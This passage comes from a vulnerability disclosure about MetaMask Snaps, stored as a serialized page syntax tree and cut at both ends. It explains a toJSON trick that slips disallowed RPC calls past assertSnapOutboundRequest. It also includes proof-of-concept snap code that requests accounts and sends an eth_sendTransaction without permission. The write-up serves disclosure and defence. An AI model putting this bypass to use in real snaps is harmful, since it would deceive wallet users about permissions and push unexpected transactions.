);\n});\n",[41153],{"type":23,"tag":154,"props":41154,"children":41155},{"__ignoreMap":7},[41156,41221,41248,41273,41328,41336,41383,41399,41406,41423,41430,41437],{"type":23,"tag":504,"props":41157,"children":41158},{"class":5016,"line":5017},[41159,41163,41168,41173,41177,41182,41186,41191,41195,41199,41204,41209,41213,41217],{"type":23,"tag":504,"props":41160,"children":41161},{"style":5067},[41162],{"type":29,"value":40265},{"type":23,"tag":504,"props":41164,"children":41165},{"style":5030},[41166],{"type":29,"value":41167}," const",{"type":23,"tag":504,"props":41169,"children":41170},{"style":5041},[41171],{"type":29,"value":41172}," JsonStruct",{"type":23,"tag":504,"props":41174,"children":41175},{"style":5047},[41176],{"type":29,"value":5050},{"type":23,"tag":504,"props":41178,"children":41179},{"style":5139},[41180],{"type":29,"value":41181}," coerce",{"type":23,"tag":504,"props":41183,"children":41184},{"style":5058},[41185],{"type":29,"value":603},{"type":23,"tag":504,"props":41187,"children":41188},{"style":5041},[41189],{"type":29,"value":41190},"UnsafeJsonStruct",{"type":23,"tag":504,"props":41192,"children":41193},{"style":5058},[41194],{"type":29,"value":4367},{"type":23,"tag":504,"props":41196,"children":41197},{"style":5139},[41198],{"type":29,"value":18761},{"type":23,"tag":504,"props":41200,"children":41201},{"style":5058},[41202],{"type":29,"value":41203},"(), (",{"type":23,"tag":504,"props":41205,"children":41206},{"style":5041},[41207],{"type":29,"value":41208},"value",{"type":23,"tag":504,"props":41210,"children":41211},{"style":5058},[41212],{"type":29,"value":5128},{"type":23,"tag":504,"props":41214,"children":41215},{"style":5030},[41216],{"type":29,"value":16868},{"type":23,"tag":504,"props":41218,"children":41219},{"style":5058},[41220],{"type":29,"value":5333},{"type":23,"tag":504,"props":41222,"children":41223},{"class":5016,"line":4868},[41224,41228,41232,41236,41240,41244],{"type":23,"tag":504,"props":41225,"children":41226},{"style":5139},[41227],{"type":29,"value":40616},{"type":23,"tag":504,"props":41229,"children":41230},{"style":5058},[41231],{"type":29,"value":603},{"type":23,"tag":504,"props":41233,"children":41234},{"style":5041},[41235],{"type":29,"value":41208},{"type":23,"tag":504,"props":41237,"children":41238},{"style":5058},[41239],{"type":29,"value":4367},{"type":23,"tag":504,"props":41241,"children":41242},{"style":5041},[41243],{"type":29,"value":41190},{"type":23,"tag":504,"props":41245,"children":41246},{"style":5058},[41247],{"type":29,"value":5888},{"type":23,"tag":504,"props":41249,"children":41250},{"class":5016,"line":4876},[41251,41256,41260,41264,41269],{"type":23,"tag":504,"props":41252,"children":41253},{"style":5067},[41254],{"type":29,"value":41255},"  return",{"type":23,"tag":504,"props":41257,"children":41258},{"style":5041},[41259],{"type":29,"value":39585},{"type":23,"tag":504,"props":41261,"children":41262},{"style":5058},[41263],{"type":29,"value":357},{"type":23,"tag":504,"props":41265,"children":41266},{"style":5139},[41267],{"type":29,"value":41268},"parse",{"type":23,"tag":504,"props":41270,"children":41271},{"style":5058},[41272],{"type":29,"value":5512},{"type":23,"tag":504,"props":41274,"children":41275},{"class":5016,"line":5099},[41276,41281,41285,41290,41294,41298,41302,41307,41311,41316,41320,41324],{"type":23,"tag":504,"props":41277,"children":41278},{"style":5041},[41279],{"type":29,"value":41280},"    JSON",{"type":23,"tag":504,"props":41282,"children":41283},{"style":5058},[41284],{"type":29,"value":357},{"type":23,"tag":504,"props":41286,"children":41287},{"style":5139},[41288],{"type":29,"value":41289},"stringify",{"type":23,"tag":504,"props":41291,"children":41292},{"style":5058},[41293],{"type":29,"value":603},{"type":23,"tag":504,"props":41295,"children":41296},{"style":5041},[41297],{"type":29,"value":41208},{"type":23,"tag":504,"props":41299,"children":41300},{"style":5058},[41301],{"type":29,"value":10864},{"type":23,"tag":504,"props":41303,"children":41304},{"style":5041},[41305],{"type":29,"value":41306},"propKey",{"type":23,"tag":504,"props":41308,"children":41309},{"style":5058},[41310],{"type":29,"value":4367},{"type":23,"tag":504,"props":41312,"children":41313},{"style":5041},[41314],{"type":29,"value":41315},"propValue",{"type":23,"tag":504,"props":41317,"children":41318},{"style":5058},[41319],{"type":29,"value":5128},{"type":23,"tag":504,"props":41321,"children":41322},{"style":5030},[41323],{"type":29,"value":16868},{"type":23,"tag":504,"props":41325,"children":41326},{"style":5058},[41327],{"type":29,"value":5333},{"type":23,"tag":504,"props":41329,"children":41330},{"class":5016,"line":5203},[41331],{"type":23,"tag":504,"props":41332,"children":41333},{"style":5021},[41334],{"type":29,"value":41335},"      // Strip __proto__ and constructor properties to prevent prototype pollution.\n",{"type":23,"tag":504,"props":41337,"children":41338},{"class":5016,"line":5308},[41339,41344,41348,41352,41356,41361,41365,41370,41374,41379],{"type":23,"tag":504,"props":41340,"children":41341},{"style":5067},[41342],{"type":29,"value":41343},"      if",{"type":23,"tag":504,"props":41345,"children":41346},{"style":5058},[41347],{"type":29,"value":5110},{"type":23,"tag":504,"props":41349,"children":41350},{"style":5041},[41351],{"type":29,"value":41306},{"type":23,"tag":504,"props":41353,"children":41354},{"style":5047},[41355],{"type":29,"value":33477},{"type":23,"tag":504,"props":41357,"children":41358},{"style":6297},[41359],{"type":29,"value":41360}," '__proto__'",{"type":23,"tag":504,"props":41362,"children":41363},{"style":5047},[41364],{"type":29,"value":25749},{"type":23,"tag":504,"props":41366,"children":41367},{"style":5041},[41368],{"type":29,"value":41369}," propKey",{"type":23,"tag":504,"props":41371,"children":41372},{"style":5047},[41373],{"type":29,"value":33477},{"type":23,"tag":504,"props":41375,"children":41376},{"style":6297},[41377],{"type":29,"value":41378}," 'constructor'",{"type":23,"tag":504,"props":41380,"children":41381},{"style":5058},[41382],{"type":29,"value":16850},{"type":23,"tag":504,"props":41384,"children":41385},{"class":5016,"line":5336},[41386,41390,41395],{"type":23,"tag":504,"props":41387,"children":41388},{"style":5067},[41389],{"type":29,"value":17791},{"type":23,"tag":504,"props":41391,"children":41392},{"style":5030},[41393],{"type":29,"value":41394}," undefined",{"type":23,"tag":504,"props":41396,"children":41397},{"style":5058},[41398],{"type":29,"value":5061},{"type":23,"tag":504,"props":41400,"children":41401},{"class":5016,"line":5349},[41402],{"type":23,"tag":504,"props":41403,"children":41404},{"style":5058},[41405],{"type":29,"value":14710},{"type":23,"tag":504,"props":41407,"children":41408},{"class":5016,"line":5367},[41409,41414,41419],{"type":23,"tag":504,"props":41410,"children":41411},{"style":5067},[41412],{"type":29,"value":41413},"      return",{"type":23,"tag":504,"props":41415,"children":41416},{"style":5041},[41417],{"type":29,"value":41418}," propValue",{"type":23,"tag":504,"props":41420,"children":41421},{"style":5058},[41422],{"type":29,"value":5061},{"type":23,"tag":504,"props":41424,"children":41425},{"class":5016,"line":5388},[41426],{"type":23,"tag":504,"props":41427,"children":41428},{"style":5058},[41429],{"type":29,"value":40601},{"type":23,"tag":504,"props":41431,"children":41432},{"class":5016,"line":5397},[41433],{"type":23,"tag":504,"props":41434,"children":41435},{"style":5058},[41436],{"type":29,"value":40468},{"type":23,"tag":504,"props":41438,"children":41439},{"class":5016,"line":5649},[41440],{"type":23,"tag":504,"props":41441,"children":41442},{"style":5058},[41443],{"type":29,"value":37394},{"type":23,"tag":32,"props":41445,"children":41446},{},[41447,41449,41455,41457,41462,41464,41470,41472,41478],{"type":29,"value":41448},"The function performs a ",{"type":23,"tag":154,"props":41450,"children":41452},{"className":41451},[],[41453],{"type":29,"value":41454},"JSON.parse(JSON.stringify(value))",{"type":29,"value":41456}," in the argument sent to ",{"type":23,"tag":154,"props":41458,"children":41460},{"className":41459},[],[41461],{"type":29,"value":41132},{"type":29,"value":41463},". This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a ",{"type":23,"tag":154,"props":41465,"children":41467},{"className":41466},[],[41468],{"type":29,"value":41469},"toJSON",{"type":29,"value":41471}," function in a legit ",{"type":23,"tag":154,"props":41473,"children":41475},{"className":41474},[],[41476],{"type":29,"value":41477},"snap.request",{"type":29,"value":41479}," argument:",{"type":23,"tag":139,"props":41481,"children":41482},{},[41483,41488,41493],{"type":23,"tag":143,"props":41484,"children":41485},{},[41486],{"type":29,"value":41487},"assertSnapOutboundRequest(args) -> pass the assertion",{"type":23,"tag":143,"props":41489,"children":41490},{},[41491],{"type":29,"value":41492},"sanitizedArgs = getSafeJson(args) -> toJSON returns a malicious object",{"type":23,"tag":143,"props":41494,"children":41495},{},[41496],{"type":29,"value":41497},"originalRequest(sanitizedArgs) -> forwards the malicious object",{"type":23,"tag":32,"props":41499,"children":41500},{},[41501],{"type":29,"value":41502},"The assertion bypass can be useful on two occasions:",{"type":23,"tag":139,"props":41504,"children":41505},{},[41506,41511],{"type":23,"tag":143,"props":41507,"children":41508},{},[41509],{"type":29,"value":41510},"forward blocked RPC methods",{"type":23,"tag":143,"props":41512,"children":41513},{},[41514,41516,41521,41523,41529,41531,41536],{"type":29,"value":41515},"Making requests in ",{"type":23,"tag":154,"props":41517,"children":41519},{"className":41518},[],[41520],{"type":29,"value":41477},{"type":29,"value":41522}," that were only supposed to be done within ",{"type":23,"tag":154,"props":41524,"children":41526},{"className":41525},[],[41527],{"type":29,"value":41528},"ethereum.request",{"type":29,"value":41530}," (with ",{"type":23,"tag":154,"props":41532,"children":41534},{"className":41533},[],[41535],{"type":29,"value":40705},{"type":29,"value":41537}," enabled).",{"type":23,"tag":32,"props":41539,"children":41540},{},[41541],{"type":29,"value":41542},"This particular vulnerability allows the snap to perform ethereum requests without permissions.",{"type":23,"tag":320,"props":41544,"children":41545},{"id":7707},[41546],{"type":29,"value":7710},{"type":23,"tag":32,"props":41548,"children":41549},{},[41550],{"type":29,"value":41551},"The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn't be possible, even with permissions according to the documentation.",{"type":23,"tag":32,"props":41553,"children":41554},{},[41555],{"type":23,"tag":199,"props":41556,"children":41558},{"alt":7,"src":41557},"/posts/metamask-snaps/note.png",[],{"type":23,"tag":320,"props":41560,"children":41562},{"id":41561},"proof-of-concept",[41563],{"type":29,"value":36885},{"type":23,"tag":32,"props":41565,"children":41566},{},[41567,41569,41574,41576,41581,41583,41589],{"type":29,"value":41568},"To demonstrate the issue, we created a snap without the ",{"type":23,"tag":154,"props":41570,"children":41572},{"className":41571},[],[41573],{"type":29,"value":40705},{"type":29,"value":41575}," permission, and used the ",{"type":23,"tag":154,"props":41577,"children":41579},{"className":41578},[],[41580],{"type":29,"value":40234},{"type":29,"value":41582}," interface to call ",{"type":23,"tag":154,"props":41584,"children":41586},{"className":41585},[],[41587],{"type":29,"value":41588},"eth_sendTransaction",{"type":29,"value":41590},". According to the documentation, this shouldn't be possible:",{"type":23,"tag":4743,"props":41592,"children":41594},{"className":37670,"code":41593,"language":37672,"meta":7,"style":7},"import { OnRpcRequestHandler } from '@metamask/snaps-types';\n\n\nfunction jsonExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_requestAccounts\",\n      params: []\n    }\n  }\n\n  return snap.request(x)\n\n}\n\nfunction transactionExploit(){\n  let x = [] as any\n\n  x.method = \"snap_dialog\"\n\n  x.toJSON = () => {\n    return {\n      method: \"eth_sendTransaction\",\n      params: [{\n        from: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\", // change this to your address\n        to: \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\",\n        value: \"0x1\",\n      }]\n    }\n  }\n\n  return snap.request(x);\n}\n\nexport const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {\n\n  switch (request.method) {\n    case 'json':\n      return jsonExploit();\n    case 'transaction':\n      return transactionExploit();\n    default:\n      throw new Error('Method not found.');\n  }\n};\n",[41595],{"type":23,"tag":154,"props":41596,"children":41597},{"__ignoreMap":7},[41598,41631,41638,41645,41662,41691,41698,41723,41730,41762,41773,41790,41803,41810,41817,41824,41856,41863,41870,41877,41893,41920,41927,41950,41957,41988,41999,42015,42027,42048,42063,42080,42088,42095,42102,42109,42140,42147,42154,42214,42221,42249,42266,42281,42297,42312,42324,42354,42361],{"type":23,"tag":504,"props":41599,"children":41600},{"class":5016,"line":5017},[41601,41605,41609,41614,41618,41622,41627],{"type":23,"tag":504,"props":41602,"children":41603},{"style":5067},[41604],{"type":29,"value":21535},{"type":23,"tag":504,"props":41606,"children":41607},{"style":5058},[41608],{"type":29,"value":11633},{"type":23,"tag":504,"props":41610,"children":41611},{"style":5041},[41612],{"type":29,"value":41613},"OnRpcRequestHandler",{"type":23,"tag":504,"props":41615,"children":41616},{"style":5058},[41617],{"type":29,"value":38259},{"type":23,"tag":504,"props":41619,"children":41620},{"style":5067},[41621],{"type":29,"value":21525},{"type":23,"tag":504,"props":41623,"children":41624},{"style":6297},[41625],{"type":29,"value":41626}," '@metamask/snaps-types'",{"type":23,"tag":504,"props":41628,"children":41629},{"style":5058},[41630],{"type":29,"value":5061},{"type":23,"tag":504,"props":41632,"children":41633},{"class":5016,"line":4868},[41634],{"type":23,"tag":504,"props":41635,"children":41636},{"emptyLinePlaceholder":15},[41637],{"type":29,"value":5734},{"type":23,"tag":504,"props":41639,"children":41640},{"class":5016,"line":4876},[41641],{"type":23,"tag":504,"props":41642,"children":41643},{"emptyLinePlaceholder":15},[41644],{"type":29,"value":5734},{"type":23,"tag":504,"props":41646,"children":41647},{"class":5016,"line":5099},[41648,41652,41657],{"type":23,"tag":504,"props":41649,"children":41650},{"style":5030},[41651],{"type":29,"value":33432},{"type":23,"tag":504,"props":41653,"children":41654},{"style":5139},[41655],{"type":29,"value":41656}," jsonExploit",{"type":23,"tag":504,"props":41658,"children":41659},{"style":5058},[41660],{"type":29,"value":41661},"(){\n",{"type":23,"tag":504,"props":41663,"children":41664},{"class":5016,"line":5203},[41665,41669,41673,41677,41682,41686],{"type":23,"tag":504,"props":41666,"children":41667},{"style":5030},[41668],{"type":29,"value":9900},{"type":23,"tag":504,"props":41670,"children":41671},{"style":5041},[41672],{"type":29,"value":21116},{"type":23,"tag":504,"props":41674,"children":41675},{"style":5047},[41676],{"type":29,"value":5050},{"type":23,"tag":504,"props":41678,"children":41679},{"style":5058},[41680],{"type":29,"value":41681}," [] ",{"type":23,"tag":504,"props":41683,"children":41684},{"style":5067},[41685],{"type":29,"value":10887},{"type":23,"tag":504,"props":41687,"children":41688},{"style":5467},[41689],{"type":29,"value":41690}," any\n",{"type":23,"tag":504,"props":41692,"children":41693},{"class":5016,"line":5308},[41694],{"type":23,"tag":504,"props":41695,"children":41696},{"emptyLinePlaceholder":15},[41697],{"type":29,"value":5734},{"type":23,"tag":504,"props":41699,"children":41700},{"class":5016,"line":5336},[41701,41706,41710,41714,41718],{"type":23,"tag":504,"props":41702,"children":41703},{"style":5041},[41704],{"type":29,"value":41705},"  x",{"type":23,"tag":504,"props":41707,"children":41708},{"style":5058},[41709],{"type":29,"value":357},{"type":23,"tag":504,"props":41711,"children":41712},{"style":5041},[41713],{"type":29,"value":40369},{"type":23,"tag":504,"props":41715,"children":41716},{"style":5047},[41717],{"type":29,"value":5050},{"type":23,"tag":504,"props":41719,"children":41720},{"style":6297},[41721],{"type":29,"value":41722}," \"snap_dialog\"\n",{"type":23,"tag":504,"props":41724,"children":41725},{"class":5016,"line":5349},[41726],{"type":23,"tag":504,"props":41727,"children":41728},{"emptyLinePlaceholder":15},[41729],{"type":29,"value":5734},{"type":23,"tag":504,"props":41731,"children":41732},{"class":5016,"line":5367},[41733,41737,41741,41745,41749,41754,41758],{"type":23,"tag":504,"props":41734,"children":41735},{"style":5041},[41736],{"type":29,"value":41705},{"type":23,"tag":504,"props":41738,"children":41739},{"style":5058},[41740],{"type":29,"value":357},{"type":23,"tag":504,"props":41742,"children":41743},{"style":5139},[41744],{"type":29,"value":41469},{"type":23,"tag":504,"props":41746,"children":41747},{"style":5047},[41748],{"type":29,"value":5050},{"type":23,"tag":504,"props":41750,"children":41751},{"style":5058},[41752],{"type":29,"value":41753}," () ",{"type":23,"tag":504,"props":41755,"children":41756},{"style":5030},[41757],{"type":29,"value":16868},{"type":23,"tag":504,"props":41759,"children":41760},{"style":5058},[41761],{"type":29,"value":5333},{"type":23,"tag":504,"props":41763,"children":41764},{"class":5016,"line":5388},[41765,41769],{"type":23,"tag":504,"props":41766,"children":41767},{"style":5067},[41768],{"type":29,"value":19037},{"type":23,"tag":504,"props":41770,"children":41771},{"style":5058},[41772],{"type":29,"value":5333},{"type":23,"tag":504,"props":41774,"children":41775},{"class":5016,"line":5397},[41776,41781,41786],{"type":23,"tag":504,"props":41777,"children":41778},{"style":5041},[41779],{"type":29,"value":41780},"      method:",{"type":23,"tag":504,"props":41782,"children":41783},{"style":6297},[41784],{"type":29,"value":41785}," \"eth_requestAccounts\"",{"type":23,"tag":504,"props":41787,"children":41788},{"style":5058},[41789],{"type":29,"value":5557},{"type":23,"tag":504,"props":41791,"children":41792},{"class":5016,"line":5649},[41793,41798],{"type":23,"tag":504,"props":41794,"children":41795},{"style":5041},[41796],{"type":29,"value":41797},"      params:",{"type":23,"tag":504,"props":41799,"children":41800},{"style":5058},[41801],{"type":29,"value":41802}," []\n",{"type":23,"tag":504,"props":41804,"children":41805},{"class":5016,"line":5666},[41806],{"type":23,"tag":504,"props":41807,"children":41808},{"style":5058},[41809],{"type":29,"value":5403},{"type":23,"tag":504,"props":41811,"children":41812},{"class":5016,"line":5683},[41813],{"type":23,"tag":504,"props":41814,"children":41815},{"style":5058},[41816],{"type":29,"value":7917},{"type":23,"tag":504,"props":41818,"children":41819},{"class":5016,"line":5696},[41820],{"type":23,"tag":504,"props":41821,"children":41822},{"emptyLinePlaceholder":15},[41823],{"type":29,"value":5734},{"type":23,"tag":504,"props":41825,"children":41826},{"class":5016,"line":5705},[41827,41831,41836,41840,41844,41848,41852],{"type":23,"tag":504,"props":41828,"children":41829},{"style":5067},[41830],{"type":29,"value":41255},{"type":23,"tag":504,"props":41832,"children":41833},{"style":5041},[41834],{"type":29,"value":41835}," snap",{"type":23,"tag":504,"props":41837,"children":41838},{"style":5058},[41839],{"type":29,"value":357},{"type":23,"tag":504,"props":41841,"children":41842},{"style":5139},[41843],{"type":29,"value":33548},{"type":23,"tag":504,"props":41845,"children":41846},{"style":5058},[41847],{"type":29,"value":603},{"type":23,"tag":504,"props":41849,"children":41850},{"style":5041},[41851],{"type":29,"value":21327},{"type":23,"tag":504,"props":41853,"children":41854},{"style":5058},[41855],{"type":29,"value":5200},{"type":23,"tag":504,"props":41857,"children":41858},{"class":5016,"line":5728},[41859],{"type":23,"tag":504,"props":41860,"children":41861},{"emptyLinePlaceholder":15},[41862],{"type":29,"value":5734},{"type":23,"tag":504,"props":41864,"children":41865},{"class":5016,"line":5737},[41866],{"type":23,"tag":504,"props":41867,"children":41868},{"style":5058},[41869],{"type":29,"value":5965},{"type":23,"tag":504,"props":41871,"children":41872},{"class":5016,"line":5746},[41873],{"type":23,"tag":504,"props":41874,"children":41875},{"emptyLinePlaceholder":15},[41876],{"type":29,"value":5734},{"type":23,"tag":504,"props":41878,"children":41879},{"class":5016,"line":5813},[41880,41884,41889],{"type":23,"tag":504,"props":41881,"children":41882},{"style":5030},[41883],{"type":29,"value":33432},{"type":23,"tag":504,"props":41885,"children":41886},{"style":5139},[41887],{"type":29,"value":41888}," transactionExploit",{"type":23,"tag":504,"props":41890,"children":41891},{"style":5058},[41892],{"type":29,"value":41661},{"type":23,"tag":504,"props":41894,"children":41895},{"class":5016,"line":5821},[41896,41900,41904,41908,41912,41916],{"type":23,"tag":504,"props":41897,"children":41898},{"style":5030},[41899],{"type":29,"value":9900},{"type":23,"tag":504,"props":41901,"children":41902},{"style":5041},[41903],{"type":29,"value":21116},{"type":23,"tag":504,"props":41905,"children":41906},{"style":5047},[41907],{"type":29,"value":5050},{"type":23,"tag":504,"props":41909,"children":41910},{"style":5058},[41911],{"type":29,"value":41681},{"type":23,"tag":504,"props":41913,"children":41914},{"style":5067},[41915],{"type":29,"value":10887},{"type":23,"tag":504,"props":41917,"children":41918},{"style":5467},[41919],{"type":29,"value":41690},{"type":23,"tag":504,"props":41921,"children":41922},{"class":5016,"line":5851},[41923],{"type":23,"tag":504,"props":41924,"children":41925},{"emptyLinePlaceholder":15},[41926],{"type":29,"value":5734},{"type":23,"tag":504,"props":41928,"children":41929},{"class":5016,"line":5859},[41930,41934,41938,41942,41946],{"type":23,"tag":504,"props":41931,"children":41932},{"style":5041},[41933],{"type":29,"value":41705},{"type":23,"tag":504,"props":41935,"children":41936},{"style":5058},[41937],{"type":29,"value":357},{"type":23,"tag":504,"props":41939,"children":41940},{"style":5041},[41941],{"type":29,"value":40369},{"type":23,"tag":504,"props":41943,"children":41944},{"style":5047},[41945],{"type":29,"value":5050},{"type":23,"tag":504,"props":41947,"children":41948},{"style":6297},[41949],{"type":29,"value":41722},{"type":23,"tag":504,"props":41951,"children":41952},{"class":5016,"line":5891},[41953],{"type":23,"tag":504,"props":41954,"children":41955},{"emptyLinePlaceholder":15},[41956],{"type":29,"value":5734},{"type":23,"tag":504,"props":41958,"children":41959},{"class":5016,"line":5899},[41960,41964,41968,41972,41976,41980,41984],{"type":23,"tag":504,"props":41961,"children":41962},{"style":5041},[41963],{"type":29,"value":41705},{"type":23,"tag":504,"props":41965,"children":41966},{"style":5058},[41967],{"type":29,"value":357},{"type":23,"tag":504,"props":41969,"children":41970},{"style":5139},[41971],{"type":29,"value":41469},{"type":23,"tag":504,"props":41973,"children":41974},{"style":5047},[41975],{"type":29,"value":5050},{"type":23,"tag":504,"props":41977,"children":41978},{"style":5058},[41979],{"type":29,"value":41753},{"type":23,"tag":504,"props":41981,"children":41982},{"style":5030},[41983],{"type":29,"value":16868},{"type":23,"tag":504,"props":41985,"children":41986},{"style":5058},[41987],{"type":29,"value":5333},{"type":23,"tag":504,"props":41989,"children":41990},{"class":5016,"line":5959},[41991,41995],{"type":23,"tag":504,"props":41992,"children":41993},{"style":5067},[41994],{"type":29,"value":19037},{"type":23,"tag":504,"props":41996,"children":41997},{"style":5058},[41998],{"type":29,"value":5333},{"type":23,"tag":504,"props":42000,"children":42001},{"class":5016,"line":11093},[42002,42006,42011],{"type":23,"tag":504,"props":42003,"children":42004},{"style":5041},[42005],{"type":29,"value":41780},{"type":23,"tag":504,"props":42007,"children":42008},{"style":6297},[42009],{"type":29,"value":42010}," \"eth_sendTransaction\"",{"type":23,"tag":504,"props":42012,"children":42013},{"style":5058},[42014],{"type":29,"value":5557},{"type":23,"tag":504,"props":42016,"children":42017},{"class":5016,"line":11111},[42018,42022],{"type":23,"tag":504,"props":42019,"children":42020},{"style":5041},[42021],{"type":29,"value":41797},{"type":23,"tag":504,"props":42023,"children":42024},{"style":5058},[42025],{"type":29,"value":42026}," [{\n",{"type":23,"tag":504,"props":42028,"children":42029},{"class":5016,"line":11156},[42030,42034,42039,42043],{"type":23,"tag":504,"props":42031,"children":42032},{"style":5041},[42033],{"type":29,"value":34120},{"type":23,"tag":504,"props":42035,"children":42036},{"style":6297},[42037],{"type":29,"value":42038}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":23,"tag":504,"props":42040,"children":42041},{"style":5058},[42042],{"type":29,"value":4367},{"type":23,"tag":504,"props":42044,"children":42045},{"style":5021},[42046],{"type":29,"value":42047},"// change this to your address\n",{"type":23,"tag":504,"props":42049,"children":42050},{"class":5016,"line":11262},[42051,42055,42059],{"type":23,"tag":504,"props":42052,"children":42053},{"style":5041},[42054],{"type":29,"value":34136},{"type":23,"tag":504,"props":42056,"children":42057},{"style":6297},[42058],{"type":29,"value":42038},{"type":23,"tag":504,"props":42060,"children":42061},{"style":5058},[42062],{"type":29,"value":5557},{"type":23,"tag":504,"props":42064,"children":42065},{"class":5016,"line":25550},[42066,42071,42076],{"type":23,"tag":504,"props":42067,"children":42068},{"style":5041},[42069],{"type":29,"value":42070},"        value:",{"type":23,"tag":504,"props":42072,"children":42073},{"style":6297},[42074],{"type":29,"value":42075}," \"0x1\"",{"type":23,"tag":504,"props":42077,"children":42078},{"style":5058},[42079],{"type":29,"value":5557},{"type":23,"tag":504,"props":42081,"children":42082},{"class":5016,"line":25585},[42083],{"type":23,"tag":504,"props":42084,"children":42085},{"style":5058},[42086],{"type":29,"value":42087},"      }]\n",{"type":23,"tag":504,"props":42089,"children":42090},{"class":5016,"line":25593},[42091],{"type":23,"tag":504,"props":42092,"children":42093},{"style":5058},[42094],{"type":29,"value":5403},{"type":23,"tag":504,"props":42096,"children":42097},{"class":5016,"line":25601},[42098],{"type":23,"tag":504,"props":42099,"children":42100},{"style":5058},[42101],{"type":29,"value":7917},{"type":23,"tag":504,"props":42103,"children":42104},{"class":5016,"line":25610},[42105],{"type":23,"tag":504,"props":42106,"children":42107},{"emptyLinePlaceholder":15},[42108],{"type":29,"value":5734},{"type":23,"tag":504,"props":42110,"children":42111},{"class":5016,"line":25652},[42112,42116,42120,42124,42128,42132,42136],{"type":23,"tag":504,"props":42113,"children":42114},{"style":5067},[42115],{"type":29,"value":41255},{"type":23,"tag":504,"props":42117,"children":42118},{"style":5041},[42119],{"type":29,"value":41835},{"type":23,"tag":504,"props":42121,"children":42122},{"style":5058},[42123],{"type":29,"value":357},{"type":23,"tag":504,"props":42125,"children":42126},{"style":5139},[42127],{"type":29,"value":33548},{"type":23,"tag":504,"props":42129,"children":42130},{"style":5058},[42131],{"type":29,"value":603},{"type":23,"tag":504,"props":42133,"children":42134},{"style":5041},[42135],{"type":29,"value":21327},{"type":23,"tag":504,"props":42137,"children":42138},{"style":5058},[42139],{"type":29,"value":5888},{"type":23,"tag":504,"props":42141,"children":42142},{"class":5016,"line":25685},[42143],{"type":23,"tag":504,"props":42144,"children":42145},{"style":5058},[42146],{"type":29,"value":5965},{"type":23,"tag":504,"props":42148,"children":42149},{"class":5016,"line":25693},[42150],{"type":23,"tag":504,"props":42151,"children":42152},{"emptyLinePlaceholder":15},[42153],{"type":29,"value":5734},{"type":23,"tag":504,"props":42155,"children":42156},{"class":5016,"line":25701},[42157,42161,42165,42170,42174,42179,42183,42188,42193,42197,42201,42206,42210],{"type":23,"tag":504,"props":42158,"children":42159},{"style":5067},[42160],{"type":29,"value":40265},{"type":23,"tag":504,"props":42162,"children":42163},{"style":5030},[42164],{"type":29,"value":41167},{"type":23,"tag":504,"props":42166,"children":42167},{"style":5139},[42168],{"type":29,"value":42169}," onRpcRequest",{"type":23,"tag":504,"props":42171,"children":42172},{"style":5047},[42173],{"type":29,"value":6533},{"type":23,"tag":504,"props":42175,"children":42176},{"style":5467},[42177],{"type":29,"value":42178}," OnRpcRequestHandler",{"type":23,"tag":504,"props":42180,"children":42181},{"style":5047},[42182],{"type":29,"value":5050},{"type":23,"tag":504,"props":42184,"children":42185},{"style":5058},[42186],{"type":29,"value":42187}," ({ ",{"type":23,"tag":504,"props":42189,"children":42190},{"style":5041},[42191],{"type":29,"value":42192},"origin",{"type":23,"tag":504,"props":42194,"children":42195},{"style":5058},[42196],{"type":29,"value":4367},{"type":23,"tag":504,"props":42198,"children":42199},{"style":5041},[42200],{"type":29,"value":33548},{"type":23,"tag":504,"props":42202,"children":42203},{"style":5058},[42204],{"type":29,"value":42205}," }) ",{"type":23,"tag":504,"props":42207,"children":42208},{"style":5030},[42209],{"type":29,"value":16868},{"type":23,"tag":504,"props":42211,"children":42212},{"style":5058},[42213],{"type":29,"value":5333},{"type":23,"tag":504,"props":42215,"children":42216},{"class":5016,"line":25710},[42217],{"type":23,"tag":504,"props":42218,"children":42219},{"emptyLinePlaceholder":15},[42220],{"type":29,"value":5734},{"type":23,"tag":504,"props":42222,"children":42223},{"class":5016,"line":25786},[42224,42229,42233,42237,42241,42245],{"type":23,"tag":504,"props":42225,"children":42226},{"style":5067},[42227],{"type":29,"value":42228},"  switch",{"type":23,"tag":504,"props":42230,"children":42231},{"style":5058},[42232],{"type":29,"value":5110},{"type":23,"tag":504,"props":42234,"children":42235},{"style":5041},[42236],{"type":29,"value":33548},{"type":23,"tag":504,"props":42238,"children":42239},{"style":5058},[42240],{"type":29,"value":357},{"type":23,"tag":504,"props":42242,"children":42243},{"style":5041},[42244],{"type":29,"value":40369},{"type":23,"tag":504,"props":42246,"children":42247},{"style":5058},[42248],{"type":29,"value":16850},{"type":23,"tag":504,"props":42250,"children":42251},{"class":5016,"line":25819},[42252,42257,42262],{"type":23,"tag":504,"props":42253,"children":42254},{"style":5067},[42255],{"type":29,"value":42256},"    case",{"type":23,"tag":504,"props":42258,"children":42259},{"style":6297},[42260],{"type":29,"value":42261}," 'json'",{"type":23,"tag":504,"props":42263,"children":42264},{"style":5058},[42265],{"type":29,"value":7613},{"type":23,"tag":504,"props":42267,"children":42268},{"class":5016,"line":25827},[42269,42273,42277],{"type":23,"tag":504,"props":42270,"children":42271},{"style":5067},[42272],{"type":29,"value":41413},{"type":23,"tag":504,"props":42274,"children":42275},{"style":5139},[42276],{"type":29,"value":41656},{"type":23,"tag":504,"props":42278,"children":42279},{"style":5058},[42280],{"type":29,"value":5725},{"type":23,"tag":504,"props":42282,"children":42283},{"class":5016,"line":25835},[42284,42288,42293],{"type":23,"tag":504,"props":42285,"children":42286},{"style":5067},[42287],{"type":29,"value":42256},{"type":23,"tag":504,"props":42289,"children":42290},{"style":6297},[42291],{"type":29,"value":42292}," 